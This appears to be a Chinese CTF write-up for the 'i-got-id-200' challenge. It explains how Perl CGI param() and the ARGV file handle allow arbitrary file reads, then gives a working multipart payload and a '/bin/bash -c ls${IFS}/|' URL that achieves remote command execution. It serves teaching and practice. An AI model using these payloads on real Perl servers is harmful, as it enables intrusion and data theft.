攻防世界web进阶区i-got-id-200超详解

2021-01-21 15:59:42 浏览数 (1)

  1. 1. 题目
    1. 1.1. 详解
      1. 1.1.1. param()
      2. 1.1.2. 漏洞分析
      3. 1.1.3. 构造远程执行代码

题目

提示:嗯刚建了一个网站

打开网页发现三个可以点击的

file处存在文件上传

form处存在xss

详解

.pl结尾的都是perl编写的网页文件

这里上传文件会直接进行展示,到这里就没了= = 只能看看师傅们的wp 师傅们猜测这里后台perl上传代码使用了param()函数

这里附上网上大佬们猜测的后台代码

代码语言:javascript复制
use strict;
use warnings; 
use CGI;
my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) ) { 
    my $file= $cgi->param( 'file' );
     while ( <$file> ) { print "$_"; }
}

首先bp抓包,我们新增一条

代码语言:javascript复制
-----------------------------1569827749218
Content-Disposition: form-data; name="file"; 
Content-Type: image/jpeg

ARGV

我们盲猜一手,file.pl存在于var/www下 使用perl的那个漏洞(大佬的) 发现果然查看到了文件 和大佬们猜测的不错

代码语言:javascript复制
HTTP/1.1 200 OK
Date: Mon, 10 Aug 2020 01:57:50 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 1605
Connection: close
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html
    PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
>
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
    <head>
        <title>Perl File Upload</title>
        <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
    </head>
    <body>
        <h1>Perl File Upload</h1>
        <form method="post" enctype="multipart/form-data">
            File: <input type="file" name="file" />
            <input type="submit" name="Submit!" value="Submit!" />
        </form>
        <hr />
#!/usr/bin/perl
<br />
<br />use strict;
<br />use warnings;
<br />use CGI;
<br />
<br />my $cgi = CGI->new;
<br />
<br />print $cgi->header;
<br />
<br />print << "EndOfHTML";
<br /><!DOCTYPE html
<br />    PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
<br />    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
<br />>
<br /><html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<br />    <head>
<br />        <title>Perl File Upload</title>
<br />        <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<br />    </head>
<br />    <body>
<br />        <h1>Perl File Upload</h1>
<br />        <form method="post" enctype="multipart/form-data">
<br />            File: <input type="file" name="file" />
<br />            <input type="submit" name="Submit!" value="Submit!" />
<br />        </form>
<br />        <hr />
<br />EndOfHTML
<br />
<br />if ($cgi->upload('file')) {
<br />    my $file = $cgi->param('file');
<br />    while (<$file>) {
<br />        print "$_";
<br />        print "<br />";
<br />    }
<br />}
<br />
<br />print '</body></html>';
<br /></body></html>

我们利用bash命令,进行RCE

我们在kali里面试试语句,发现莫得问题

代码语言:javascript复制
/cgi-bin/file.pl?/bin/bash -c ls${IFS}/|

是空格,不可以用加号代替,如果在hackbar可以省略不使用,直接空格即可(讲解如下) 直接ls是不行的

直接读取flag即可

这个地方是读取目录的../

param()

param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的接收变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的:

漏洞分析

这里大佬告诉我们要利用@ARGV这个全局变量

首先要了解Perl中的ARGV全局特殊文件句柄 ARGV:遍历数组变量@ARGV中所有文件名的特殊文件句柄 @ARGV:是个全局数组特殊变量,传给脚本的命令行参数列表

Perl 会将 perl 命令行参数列表放入到数组 @ARGV 中,而默认情况下,这些命令行参数是 Perl 的数据输入源,也就是 说Perl 会以依次将他们当作文件进行读取。这里可以参考C语言的argv{}数组,但不同的是, Perl语言的@ARGV中的第一个变量就是参数,而不是文件名。 Param() 函数会返回一个列表,但只有第一个文件会被放到变量中。

增加新的上传项,并删除filename,重大漏洞来了

删除filename后, $file的值(也就是文件名)变为了上传的内容,而输出的文件内容为空

通俗理解就是,新加入的文件内容替换了filename参数,传给了$file变量,<file>句柄中打开文件内容为空

那如果我们利用@ARGV,将$file替换为@ARGV,其句柄就是,就是命令行的参数呀,如果给的参数是文件名,就可以输出第一个文件名的所有内容。 这里我们利用以上信息构造,加入新的文件列表,删除filename,文件内容写入ARGV

那么后端执行,就会把$file的值换为ARGV,也就成了上述test.pl的内容,会把从命令行里读取到的参数,当作文件路径找到并输出。

那么如何传入命令行参数呢?其实直接在url给出参数就相当于命令行传参 那么,通过ARGV和url的参数就可以达到读取服务器上任意文件的目的

构造远程执行代码

这里空格需要用url编码转义,否则不符合http头部格式,不能随便加空格的

  • Linux中,/bin/bash 是bash解释器,这句话当作文件名时,首先会去寻找/bin/bash并且输出,那就是执行了解释器的功能
    • bash -c 的语法是,后面跟的第一个参数会当作命令来被bash解析,第二,第三个参数被认为是bash的参数,而不是第一个参数(命令)的参数 举个例子:
代码语言:javascript复制
bash -c ls /

会执行ls命令,列出当前目录,/会被当做bash的参数,没有意义,会找不到

如果我们想要列出根目录需要 “ls /”时,需要加入$IFS

IFS是linux的特殊变量,默认值是space空格, 是取变量值,IFS就代表空格就可以执行“ls /“的命令了

若只有 /bin/bash -c ls$IFS/ 命令会发现没有返回信息

因为,/etc/passwd本身就是文件,后端代码找到并输出返回在html标签中

而/bin/bash 一旦被访问输出,就是bash运行环境,整个语句的输出结果在shell的缓冲区里,也就是后台服务器才能看到,并不会输出到html标签中。在linux里我们只需要管道操作就可以指定结果的存放位置了。 Tips:Perl open()函数会默认打开一个管道! 这里利用Perl open()函数打开的管道,进行劫持,通过“|“操作符,把内容引入open()函数已经打开的管道中,就可以输出到html标签中啦!

部分转自:https://blog.csdn.net/wssmiss/article/details/105620355

0 人点赞